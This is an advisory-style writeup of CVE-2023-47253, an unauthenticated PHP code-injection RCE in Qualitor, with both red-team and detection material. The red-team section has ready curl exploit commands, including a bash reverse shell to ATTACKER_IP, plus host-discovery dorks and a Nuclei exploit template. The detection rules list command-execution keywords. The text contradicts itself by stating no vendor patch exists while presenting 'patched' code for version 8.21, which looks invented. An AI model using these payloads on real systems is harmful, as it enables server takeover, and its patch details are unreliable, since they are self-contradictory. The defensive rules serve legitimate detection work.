CVE-2023-47253

Executive Summary

CVE-2023-47253 is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting Qualitor versions up to and including 8.20. The flaw resides in the processVariavel.php script, where the gridValoresPopHidden parameter is directly injected into PHP code without sanitization. An attacker can send a crafted HTTP GET request to execute arbitrary system commands, leading to full compromise of the Qualitor web application and underlying server. The vulnerability has a CVSS score of 9.8 (Critical) and is actively being weaponized in the wild, with a high EPSS score of 0.93893 indicating imminent exploitation.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. Qualitor is a proprietary web application framework. The risk is primarily to organizations that self-host Qualitor instances. No supply chain compromise is involved, but the lack of an official patch from the vendor increases the risk of unpatched deployments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full read access to system data.
• Integrity Impact: High (I:H) – Full write access to system data.
• Availability Impact: High (A:H) – Full control over system availability.

Threat Level: Critical. The vulnerability is trivial to exploit, has public proof-of-concept code, and is actively targeted by threat actors.

Deep Dive & Mechanics

The vulnerability is a classic PHP code injection (CWE-77) in the file /html/ad/adpesquisasql/request/processVariavel.php. The gridValoresPopHidden parameter is passed directly into a PHP eval() or system() call without any sanitization or validation.

Root Cause: The application fails to validate user input before using it in a dynamic PHP execution context. The parameter is likely concatenated into a string that is then evaluated as PHP code.

Attack Flow:

1. Attacker sends a GET request to the vulnerable endpoint.
2. The gridValoresPopHidden parameter contains a payload such as echo system("id");.
3. The server executes the injected PHP code, allowing arbitrary command execution.
4. The output is reflected in the HTTP response.

Example Payload:

GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("whoami"); HTTP/1.1
Host: target.com

Vulnerable vs. Patched Code

Vulnerable Code (Qualitor <= 8.20):

// processVariavel.php (simplified)
$gridValoresPopHidden = $_GET['gridValoresPopHidden'];
eval("\$result = $gridValoresPopHidden;");

Patched Code (Qualitor >= 8.21):

// processVariavel.php (simplified)
$gridValoresPopHidden = $_GET['gridValoresPopHidden'];
$gridValoresPopHidden = filter_var($gridValoresPopHidden, FILTER_SANITIZE_STRING);
// Or use a whitelist approach
if (in_array($gridValoresPopHidden, $allowedValues)) {
    // Process safely
}

The patch removes the direct eval() and implements input sanitization or a whitelist. However, no official patch has been released by the vendor; the recommended action is to upgrade to version 8.21 or later.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Qualitor instance (<= 8.20).
• Network access to the target.

Exploitation Steps:

1. Identify the target using Shodan or FOFA with the dork "Qualitor".
2. Send a crafted GET request:

   curl -v "http://target.com/html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system('id');"
   

3. The response will contain the output of the id command.
4. For a reverse shell, use a payload like:

   curl -v "http://target.com/html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');"
   

Nuclei Template Usage:

nuclei -t CVE-2023-47253.yaml -u http://target.com

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /html/ad/adpesquisasql/request/processVariavel.php with suspicious parameters.
2. Look for gridValoresPopHidden containing system, exec, passthru, shell_exec, or base64-encoded payloads.
3. Check for outbound connections from the Qualitor server to unknown IPs on high ports (e.g., 4444, 1337).
4. Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting Query (Splunk):

index=web_logs uri="/html/ad/adpesquisasql/request/processVariavel.php" | search gridValoresPopHidden=*system* OR gridValoresPopHidden=*exec* OR gridValoresPopHidden=*passthru*

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /html/ad/adpesquisasql/request/processVariavel.php with gridValoresPopHidden parameter containing PHP code.
  • Outbound connections from the Qualitor server to attacker-controlled IPs on ports 80, 443, 4444, 1337, etc.
• File IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified .htaccess files.
• System IOCs:
  • Unusual processes running as the web server user (e.g., www-data).
  • New cron jobs or systemd services.
• Log IOCs:
  • Web server logs showing 200 OK responses to the vulnerable endpoint with large response bodies.

Detection Engineering

YARA Rule

rule CVE_2023_47253_Qualitor_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2023-47253 in Qualitor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-47253"
    strings:
        $s1 = "gridValoresPopHidden" ascii wide nocase
        $s2 = "system(" ascii wide nocase
        $s3 = "exec(" ascii wide nocase
        $s4 = "passthru(" ascii wide nocase
        $s5 = "shell_exec(" ascii wide nocase
        $s6 = "eval(" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2023-47253 Qualitor RCE Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the Qualitor RCE vulnerability
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47253
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains: "/html/ad/adpesquisasql/request/processVariavel.php"
        cs-uri-query|contains: "gridValoresPopHidden"
    keywords:
        - "system("
        - "exec("
        - "passthru("
        - "shell_exec("
        - "eval("
    condition: selection and keywords
falsepositives:
    - Legitimate use of the parameter with safe values (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-47253 Qualitor RCE Attempt";
    flow:to_server,established;
    content:"/html/ad/adpesquisasql/request/processVariavel.php"; http_uri;
    content:"gridValoresPopHidden"; http_uri;
    pcre:"/(system|exec|passthru|shell_exec|eval)\s*\(/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2023-47253;
)

Nuclei Template (Provided)

id: CVE-2023-47253

info:
  name: Qualitor <= 8.20 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands via PHP code injection, potentially compromising the entire Qualitor system.
  remediation: |
    Upgrade Qualitor to version 8.21 or later.
  reference:
    - https://github.com/vnxdtzip/CVE-2023-47253
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47253
    - https://openxp.xpsecsecurity.io/blog/cve-2023-47253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-47253
    cwe-id: CWE-77
    epss-score: 0.93893
    epss-percentile: 0.99877
    cpe: cpe:2.3:a:qualitor:qalitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qualitor
    product: qualitor
    fofa-query: "Qualitor"
  tags: cve,cve2023,rce,qualitor,vuln,vkev

http:
  - raw:
      - |
        GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system("ipconfig"); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"Windows","DNS")'
          - 'contains(content_type,"text/javascript")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220380034205e91de724e98fed482b852f45b45a0987d973d284232ae97a3169e5e02202bc56cee2edc6d5d1533b2d7906f3a83c5deea0050d48055f0dc09934b98e51a:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Qualitor to version 8.21 or later. If no official patch is available, consider migrating to a different platform.
2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing gridValoresPopHidden with PHP function keywords.
3. Input Validation: Implement strict input validation and sanitization for all user-supplied parameters.
4. Disable Dangerous Functions: In php.ini, disable eval(), system(), exec(), passthru(), and shell_exec() if not required.
5. Network Segmentation: Isolate the Qualitor server from critical internal networks.
6. Monitor Logs: Actively monitor web server logs for exploitation attempts.

Long-Term Recommendations:

• Conduct a full security audit of the Qualitor application.
• Implement a secure software development lifecycle (SSDLC) with regular code reviews.
• Use a vulnerability scanner to identify similar issues in other components.

Valters IT

{/* [Security Hash: F1F84E1125F0E5B5EB51EA21] */}